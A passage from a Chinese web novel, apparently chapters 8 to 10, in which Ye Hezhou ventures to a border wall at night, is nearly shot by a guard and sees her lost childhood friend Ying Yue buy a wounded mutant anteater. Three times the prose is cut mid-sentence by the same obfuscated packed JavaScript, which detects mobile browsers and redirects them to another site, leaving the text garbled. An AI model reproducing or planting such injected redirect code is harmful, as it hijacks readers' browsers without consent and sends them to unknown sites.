她更喜欢独自一人。 她们本该是世界上最亲近的人,每日相伴,彼此付出,却又在各自心底生出疏离。 叶禾舟把花茶包放在客厅的餐桌上,小时候母亲喝过一段时间,但是后来家庭所有的开支都砸向训练营,也就再也负担不起昂贵的非必需品了。 她还带回来一捧鲜花,也是程茜塞过来的,说是茶包的添头,但实际上拿的是库房里最好看的一束,粉色的多头蔷薇中点缀着蓝色玫瑰,花瓣鲜嫩,仿佛还沾着露水。 蓝玫瑰让她想起了下午的课桌,以及隐在课桌之后,那个若隐若现的童年幽灵。 花茶留给母亲,鲜花放在床头,随后,叶禾舟拿毛巾浸了冷水,脱下上衣,给肩背做冷敷。训练营那场战斗在身体上留下了些许淤青,尤其是后背和四肢,如果不好好处理,可能会影响动作的灵活度。 天色渐暗,沿街的窗户却还没有被灯光点亮,世界在昏蒙中化为一体。叶禾舟扒着窗沿寻找夕阳的时候,街道两旁的路灯一下子亮了。 这下,天上的余光越发黯淡,几乎什么也看不清。 她想等母亲回来报喜,好好说一下自己考了多好的试卷成绩,但在看到荒原方向隐约闪烁的灯光时,她改变了主意。 步行到城市边缘用不了多久,大概十来分钟,身后就只余稀落的建筑,前方被荒地包围,入目可见的只有一条蜿蜒的沥青公路。 上面没有车,毕竟除了守卫和异能者,没有人愿意靠近荒原。叶禾舟想了想,踏上了这条通往边境的路。 她整理了一下鞋带,动了动脚腕,随后往前一踏,在公路上跑了起来。 等到被选入中域,就再也看不到荒原了。 就今天,就这一次,她想亲眼看看这座生活了二十年的城市与什么为邻。 越靠近边境墙,周围的人迹越少,最开始还能看到一些清理出来的草垛和焚烧枯叶的焦土,没有被拿走的野营毯,以及被随处丢弃的卫生纸和包装袋。 但叶禾舟跑得很快,额头上才刚刚冒出点汗迹,周围就只剩下野草覆盖不住的斑秃土地,以及时不时冒出头的多棘灌木了。 一群毛发打结的流浪狗吠叫着从土坡上跑下来,霎时“汪汪汪”叫声一片,叶禾舟仔细分辨了一下,觉得还挺有意思的。 流浪狗在说: “警戒!警戒!两脚兽入侵!” “打狗队来了,只有一个,兄弟们上啊!” “为同伴们报仇!!!” 没想到这片地方还是流浪狗的领地,不过想也正常,城市人口密集,多的是吃肉的人和维持治安的机器人,如果不跑到野外去,那确实没什么生存余地。 不过,叶禾舟可不想被它们咬,随即加快了脚步,朝着前方露出一个尖的哨塔跑去。 野狗的身体结构比人更适合奔跑,能跑到荒原的几乎全是健将,它们没想到竟然会被一个两脚兽超越,在背后发出一片不可置信的汪声。 可目标像风一样,几分钟后就没了影。 * 快到边境墙的时候,叶禾舟大概跑了半个小时,比正常开车的速度慢了些,不过她还余了些体力,准备等下跑个返程。 天色转变的过程总迅速,她到墙下时,天上已经挂了几颗淡淡的星子,第五基站像是蹲距在高墙上的巨人,扛着背上光耀四射的哨塔。 基站下方,几辆深黑色的轿车一字排开,旁边是几辆大型装运卡车和清洁车。红色尾灯闪烁不定,让人莫名想到巨兽的眼睛。 叶禾舟不想被盘问,在看到前方的阵仗之后,就往下了公路,从草地上绕去墙边。 外域的边境墙高三米——课本上这么写,外域公民抗议最多的事也是针对这个高度——因为它实在太低了!不光是鸟类和花粉,就连稍微长个滑翔器官的动物都挡不住,越境而来的荒兽增加了边城的治安成本,临边市年年都在申请边境墙的再建经费,可年年都被联邦财政部否决。 他们的理由也很现实,外域边境墙全长三万多千米,实在太过绵长,就算勉强挤出钱来拨款,后续的维修也无以为继。 比起外域的边境墙,联邦更重视中域的防线,中域城墙高达二十米,几乎是外域的七倍,但生活的中域的人犹不满足,加高城墙的呼声一浪接一浪,想要仿照内域建一座密不透风的堡垒出来。 外域的官员和富豪通常会把家属送进中域,至于永远与荒兽为邻的人,也有千军万马挤独木桥的选拔通道。 可在此刻,三米高的边境墙如一道天堑,横亘在叶禾舟眼前,遮蔽了荒原的模样。她只能听见对面此起彼伏的虫鸣与嗥叫,而那些声音自动在她脑海里翻译成句—— “饿啊……” “好饿啊……” 教科书里穷凶极恶的荒兽,就只与她隔了一堵墙,她看不到对面,也不敢触摸通电的黑墙,一个人孤零零地站了一会儿,只喝到一嘴巴冷风。 叶禾舟望了眼不远处的基站,刚才似乎看见了人影,想来是有驻守人员的,但是没人向她喊话,大概是不想管有没有闲杂人员作死的。 她在这里待着也没意思,本来就要转身回去了,就在这时,周围突然传来闷重的喇叭声。 声音来自野区那边。 叶禾舟决定再等等。 异能者最赚钱的活计就是捕获荒兽,他们多多少少有一点超过常人的能力,也不会因为受伤二次变异,是最适合进出野区的人。 不过,从荒野出来的车辆必须清洗过后才能进城,那些捕回来的猎物也被公司和研究所早早收走,唯余下变形的外壳和些许爪迹。外区的人喜欢去酒馆听异能者大谈惊奇冒险,就像是在听一场永远不能亲历的梦。 叶禾舟不想放过这个机会,她一直想亲眼看一看。 * 夜幕降临,荒原深处的丛林中传来此起彼伏的嗥叫,数辆铁皮车冲出叶丛,跌跌撞撞地碾压过荒原的黄土。 哨塔向外扫射出刺目的灯光,远方的车队向着光亮一路驶来,引擎呜呜低鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407478|200598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,开车人把油门踩到底,车厢的铁笼哐哐作响。 “阿筐再坚持一下,马上就到了……” 一个男人躺卧在车厢中,气息微弱地应了声,胸口的绷带上一团深色渐渐晕开。旁边的同伴两只手都扒住横栏稳固身形,一只脚踹在铁笼上,免得它晃下来,抬头急切地望向哨塔方向。 “出去之后半个小时就到医院,你家小孩还等你回去讲故事……阿筐,阿筐?” 轧到石头的卡车左右猛晃了一下,堆放在一处的笼子撞出一声巨响,被称作阿筐的男人还没回答,猎回来的荒兽就先发出一阵高高低低的呜鸣。 “麻醉打少了,被绑着嘴还叫呢!” 哨塔的灯光投了过来,照亮了铁笼内被捆住四肢和嘴巴的荒兽,几只野蜥不老实,正用爪尖去勾嘴上的绳套,站着的男人忙去踹笼子,噼里啪啦一阵哐当之后,车停了。 “快、快开门!有伤员!”他仰头向基站上方喊道。 第五基站。 “快开门,让车先过去救人!”欧维听见喊声,慌忙从吊床上坐起,笨手笨脚地从手环里扣出芯片插到操控台上。然而下方喇叭声依旧响成一片,脚下没有站门开启的震动。 他往旁边一看,另一个芯片位空空如也,同伴没有任何动作,只是冷漠地抬了抬眼。 站门的开启需要两张身份芯片。 “你怎么回事?”欧维质问,“怎么还不插卡?耽误治疗怎么办,你忘了你还在试用期?” 墙外已经停靠了三五辆车,几个没有受伤的异能者下了车,暴露在基站下方的灯光中,抬起双臂向上方交叉挥舞着,口中一直喊着“开门”两个字。 重叠的声浪没有撼动傅玛眉目间的冷淡,他像是什么也听不到一样,依旧擦拭着一把旧猎枪,“正是因为在试用期,所以才不能有闪失。” “什么意思?”欧维吼道,“我不管你在想什么,马上把芯片拿出来!别忘了你的工作是我——” “——是你家里介绍的。”傅玛打断他,“所以留不留得下来,不是你说了算。” 对面的欧维像是马上要动手了,傅玛叹了口气,终于说了原因,“上次你开门太久,放了几条蛇进来,虽然及时上报了,但也引起不小的乱子,我保证看好你才得到这份工作,欧维,不要让家族蒙羞好么?” “我去你爷爷的!”欧维一拳揍过去,而同伴只是略微一侧身,就让他的拳头落在操作台上,掀飞了几个按键外壳。 傅玛不声不响地捡起来拼回去,耳边响起大声质问问—— “那你什么时候才肯打开这该死的门!” “等车队都到齐。”傅玛道,“这样进出花时间最少,等下告诉他们,以后都要这样。” “那我们就这样看着……看着伤员恶化?”欧维从牙缝中挤出这句话。 傅玛看着这个自幼的玩伴,像是在看一个不懂事的小孩,“你心疼这些异能者?你知不知道几周前的那次开门放进来几条蛇,窜进城里让多少人受殃了吗?还有直接被毒死的,就因为你一直开着门等车来,要不是你母亲在市政工作,你早就被起诉顿监狱了!” “我、我……”欧维没有想到前些日子的纰漏还有这番影响,顿时惨白了脸色,惶然地看向同伴。 傅玛又叹了口气,道:“让他们等吧。” 9. 第九章 叶禾舟又吹了二三十分钟冷风,墙外的喇叭一直不停,还有人在喊着什么话,但人的语言不像兽类那样简单表意,她分辨不清那些含混在一起的中间词,只有“开门”两个字一直被重复着。 是了,那边的人已经回来了,为什么基站的守备不开门? 叶禾舟不想轻易放弃,又过了一会儿,基站大门上排亮起探照灯,把周围照得恍如白日,她一下子失去了黑夜的依凭,被照亮了半面身子。 她看了看远处那排黑光油亮的豪华车,下意识地往前方最近的灌木丛靠。 然而就是这几步路,一颗子弹嗖地飞了过来,把脚边的土地翻了个坑。 簌簌细沙扑上鞋面,叶禾舟冷汗一下子冒了出来,她藏在灌丛的阴影中一动不敢动,透过叶片的缝隙艰难地往另一边看。 撞上黑/帮交易了?她不会被当场灭口吧? 灌丛浓密,她看不清那边的情况,但也恰好因为这点,那边不能确定她的位置。 没有开关车门的声音,也没有脚步靠近,对面似乎并未派人前来搜寻,叶禾舟本该松一口气,但是她仍然有种感觉,瞄准镜后的那双眼睛没有离去,那颗想要打穿她头颅的子弹仍然蓄势待发。 可恶,真没想到一时兴起惹出了这么大的麻烦! 叶禾舟觉得自己应该后悔,然而,压在胸腔的那颗心脏却急不可耐地跳动起来,带来阵阵不合时宜的兴奋。要不是现在赤手空拳,她铁定要和那人对狙。 她花了些力气来平复脉搏。 忽然,她注意到脚边的土坑,伸手摸了摸,从里面捡出温热的弹头。 M-98号子弹,是栓动步枪,适合拿来打猎。 子弹不是从轿车那边飞过来的。 黑/帮不会用这种枪,射过来的角度也不是平直的。 这么说来,子弹来自上方那座基站。 守备打的?难道把她当野狗了,她是不是应该出去亮明身份? 但要是刚一冒头就挨弹了呢? 叶禾舟看着至今没人走下来的黑色轿车,有些举棋不定,要是这里真的有见不得人的交易,她出去也没活路。 一线红光忽然透过叶丛打在脚边,那是辅助瞄准的激光,叶禾舟知道不能再等了,决定先亮出光屏表明身份,而这时,那线红光忽然收回去了。 过了一会儿,地面传来隆隆的震动,机关咔嚓作响,在轮轴的滚动声中,第五基站高达四米的铁门打开了。 一辆辆铁皮车驶入境内,停在基站下方。 基站上,傅玛在高台上架着枪,欧维不断往嚷着开门的车队方向回头,在同伴身后急得跳脚,不明白他为什么还这么悠闲。 “想打猎有的是时间,非要选现在?还有,你瞄的是里面不是外面,我们根本没开门,里面可没有荒兽!” 傅玛动作不变,“那边有东西。” 欧维:“说不定是野狗,每次回去都能看到一群,吓得我不敢在外面撒尿……但你打野狗干什么?还不够一颗子弹钱。” 傅玛:“不是野狗。” 欧维怒了,“管它是什么东西,你忘了黑墙是通电的?能不能现在别干那些,好好想想工作!” 傅玛本来想呵斥他闭嘴,然而这时手环自动弹出一条消息提示,他犹豫了一下,用手指点开,看到发信人面色微变,随后拔出芯片嵌进操作台。 欧维瞪大眼睛道:“你不是说要等人齐……怎么就这么开了?” 傅玛:“你不是说放他们进来治疗吗?” 欧维上下打量着他:“你刚才不是这么说的,良心发现了?” 傅玛斜了他一眼,没有说话。 欧维:“不对,你刚才是不是收到什么指令了?” 他说着,翻开了基站的通讯记录。 “没有指令,是谁发你的?” 傅玛见他刨根究底,只得道:“一个我们惹不起的人。” 欧维挠了挠头发,过了一会儿,忽然反应过来抓住他,“你刚才还说要保护普通人!结果一个大人物的命令就让你开门了?你、你怎么能这样……” * 叶禾舟在开门时心下一松,判断狙击枪已经挪走,便迅速转移了位置,藏得更隐蔽了些,但她也没走,找了个好角度向车队方向张望。 一群人合力搬运车后的笼子,捕来的荒兽半梦半醒,发出神志不清的呜咽。 叶禾舟看到几只花纹斑斓的蜥蜴,一笼子尖爪尖嘴的鸟雀,似鹿似马的矮小动物和两只小狮子,心说外边的荒兽也没有长得特别猎奇嘛,如果对野生动物了解不多,大概是分辨不出来的,难怪新闻宣传说看到任何动植物都不能掉以轻心——她自己就是吃亏在这点。 一辆轿车摇下了后窗。 车内没有亮灯,她看不清人脸,却无端有些心悸,忙收回视线,过了片刻,那边的车窗已经摇起来了。 铁笼不断被搬下铁皮车,等待的轿车上下来两个人,走到归城的车队中间,让异能者挨个打开笼门,仔细检视过去。 叶禾舟只听见仪器滴滴滴地响,“伤得太重”、“这只不需要”等碎句传入耳朵,猜测那两人是在验收荒兽。 果然,那两人看完一圈,就让人把合格的笼子搬上货运车,当场付了款,一群异能者喜笑颜开,闹闹哄哄地商量着回城要买的东西。 这时,两个异能者抬着一个小笼子,从最后方的铁皮车上下来,见这边已经结账,忙道:“等等,这一个还没看!这只是好的,没伤!” 笼子里半躺着一只粉色的长鼻小兽,在一众龇牙咧嘴的荒兽中像一股清流,让人心生怜爱。异能者放下笼子,直接抱起小兽跑到验收人面前,扯鼻子摸嘴地展示道:“变异食蚁兽!粉色的!拿去做宠物特别有排面!前几天找到一只白色无皮猪,卖了十八万块,还上了新闻,这只绝对不输它!” 两个验收人互相看了眼,一人道:“稍等,我去请示一下。” 他走近中间一辆轿车,弯腰和里面的人交代了几句,回来说道:“很抱歉,我们公司不收这类宠物荒兽,你还是找别人吧。” 异能者有些不甘心,“食蚁兽没有牙,真的很适合做宠物,不用再经过额外处理,非常省心,你看……” 他把手指伸进小兽嘴里,忽然大叫一声,把怀里的东西甩了出去。 灯光下,他的手指鲜血淋漓,地上积了一滩血,小兽在地上凄惨地嚎叫,被发怒的异能者猛踹了几脚,声音渐渐低了。 一人拦住他,低声道:“你疯了!宠物兽伤了就要折钱了!这是大家一起抓的,踢坏了你赔?” 被咬伤的人红着眼发狠道:“死了一样卖!它都咬人了,长了牙怎么可能还当宠物?” “那也不能踹死啊,活的比死的赚钱。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407479|200598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几人嘟囔着去翻看食蚁兽的嘴,果然看到后槽白森森的牙齿,惊疑之下满脸沮丧,知道没法卖出大价钱了。 叶禾舟冷眼看着他们,地上的食蚁兽一直在喊“妈妈”、“妈妈好疼”,但是除了她,谁也不知道它在叫唤什么,更没有人理会,这些人看不到垂死的幼兽,看到的只有降了价的货物。 这时,之前摇窗的那辆车突然开了后门,从上面迈出一条腿,随后,一个修长的身影站在车边,温声打断了众人的争吵。 “五万,这只我买了。” 叶禾舟还在地上扑腾的小兽,灯光照亮了满地血尘,温平的声线像是一阵风,却在她心底掀起骇浪,她猛地抬头,看清了他的侧脸。 应月。 是他。 被咬的异能者正要继续下脚,闻言一喜,回头时又看得一愣。身后的男人被两个验收人簇拥着,气质却不凌人,银灰色的长发垂在脑后,像是被月光洒满了,那双眼睛也是灰色的,像雾一样,无端在人心底勾起不安。 他顿时忘了再还个价,支支吾吾地就同意了。 应月让人把食蚁兽搬上公司的装运车,负责人小声询问:“等下是给您搬到家中……” “不是。”他注视着被急救的食蚁兽,眼底依旧雾气深重,看不清情绪,“一起送公司,测序DNA,看看能不能找到让它长牙的基因。” 他看了一眼欲言又止的负责人,“钱从我账上出。” 负责人赔笑着离开,安瑟公司是收购荒兽的大户,为了防止做假账,在价格方面审查得特别严,五万收一个半死的尾货还是高了,除非钱不从公司划。 不过,他本来以为大公子是可怜那个食蚁兽,才愿意买下它,没想到只是想增加个样本,送进公司的动物总会物尽其用,最后送出去的是一篇篇论文和各种高精尖材料,完整的总是极少,不过近几年也在往观赏以及猎奇的方向研究,似乎是想开个观览园。 交货之后,异能者车队先行离开,他们还有伤员,剩下的货物也需要全部上交估价,只不过临边市收荒兽价格相对固定,自然也就没有暴利。 叶禾舟牢牢地看向中间那辆轿车,可那人没再下来。她反复回忆着方才那个男人的模样,试图把他和十年前的同桌拼起来,但她失败了。 他们是那么相似,同样的瞳色、发色,同样的养尊处优、沉默寡言,但十年前的同桌是柔软的,会偷偷地在学校每年的生物消杀中藏下瑟瑟发抖的松鼠,然后写信建议用异能检测装置来代替消杀以保持生态;会告诉她家里有片美丽的蔷薇园,是他母亲而不是自己种的,他只能在外面买同样美丽的花送给好朋友。 他那时总是专心地做自己的事,即使被欺负了也不会还手,于是叶禾舟就站出来保护他。即使孩子间已经有了拉帮结派,但学校仍然是最能模糊家世的地方,他们还会因为不合群欺负人,而不总是思考利益关系,这让她误会了行业龙头公司的意义,当时最遥远的想象就是他可能会去中域读大学,却没想到在第二年他就没了音信,只有只言片语传出来,说他是转入中域的学校深造了。 她花了十年的时间期待与朋友再遇,也花了十年明白他是天边的明月——就算她通过选拔去到中域,也不可能站上那样的阶级。 十年后的他没有了柔软的心地,周身沾满了冷漠的血腥气。 和他周围那类人变得一样。 10. 第十章 车辆行驶在荒芜的原野,离开基站之后,天上的盈月重出云层,采购负责人听见远处的吠叫,忽然从反光镜看到后方树丛间隐隐约约的黑影,心里有些害怕,正要吩咐后队的保安鸣枪驱赶野狗,忽然听见后座的吩咐—— “今天等得很晚,得快些回公司。” 他便吞下了想说的话,告诉车载智能提速到最快。 应月不动声色地看了眼侧方,一只手靠在窗边撑着颔,半边脸渡上月光,眼睛却隐在暗处,像是被黑暗盖上半张面具。 他没有再往外看。 * 叶禾舟尾随着最后的车队,在他们离开时也跑离了边境墙——既然子弹来自基站的守备,她就不可能继续留下当靶子。 前面离开的异能者队伍有枪,如果有眼力特别好的人,跟着跑了可能挨子弹,还可能中途被后面的车队发现,到时候说不清楚。她决定跟在轿车后面一起离开,赌的是守卫不敢被误会向安瑟公司放枪。 起初一段路她贴得很近,车速不快,正好让她缀在后面,但在几公里之后,车队骤然加速,把她留作来时那群野狗的陪伴。 不过歇了那么久,她的体力又恢复些许,硬生生冲出狗群的围追堵截,再次跑过了这群趾行动物。 甩开野狗之后,叶禾舟渐渐慢下来,朝后面了路看了一会儿,没发现车灯,便一脚深一脚浅地往公路走。 野地的路不好走,常常踩到水坑,她的鞋已经湿透了,裤脚上全是泥点。不过她已经是异能者了,倒是不怕被野草划伤。 天上的明月那么亮,似乎永恒孤悬,而地上的野草挤挤挨挨,一载生灭,又仿若无穷无尽。 叶禾舟的鞋早已湿透,她在单脚踩在路边,倒掉鞋子里的水,泥坑里的一条蚯蚓顺着水花落在裤脚,呲溜一弹,就顺着鞋面钻了进去。 是一只变异蚯蚓——她已经感觉到疼痛了,有东西咬破了脚背的皮,顺着血肉往里钻。 野地里的小生物数量众多,又靠近荒原,时不时就有一点东西变异,但没人管。 这些变异的浮游跳蚤们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407480|200598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没走进城市,就已经被碾成车轮下的灰土了。 但叶禾舟心底的怒火噌地一下就涨了起来,这是她二次被变异生物噬咬,而第一次让她成为了变异者,成为了要永远胆战心惊的漏网之鱼。 即使她因为木已成舟而失去谨慎,但那是她自己的做法,对于撞上枪口的东西,她没有任何仁慈。 她脱掉鞋,从肉中扯出蚯蚓,摔在马路上踩成了泥浆。 月光照见了死去的蚯蚓和滴在马路上的血,长长的一滩碎肉让她想起了食蚁兽的鼻子,就在方才,她还在怜悯那个弱小的生物,但现在,她不过也是别无两样的刽子手。 叶禾舟擦了一把脸上结的露水,一直以来,她都认为自己是一个目标明确的人,遇到困难就解决,遇到困苦就隐忍,遇到看不顺眼的人,就施以拳脚。 但是每一回来自他人和其他生物的痛苦,都更深一点在她心头留下烙印。 她有些茫然的想,她不该这样做吗? 方才的愤怒是真的,现在的困惑也是真的。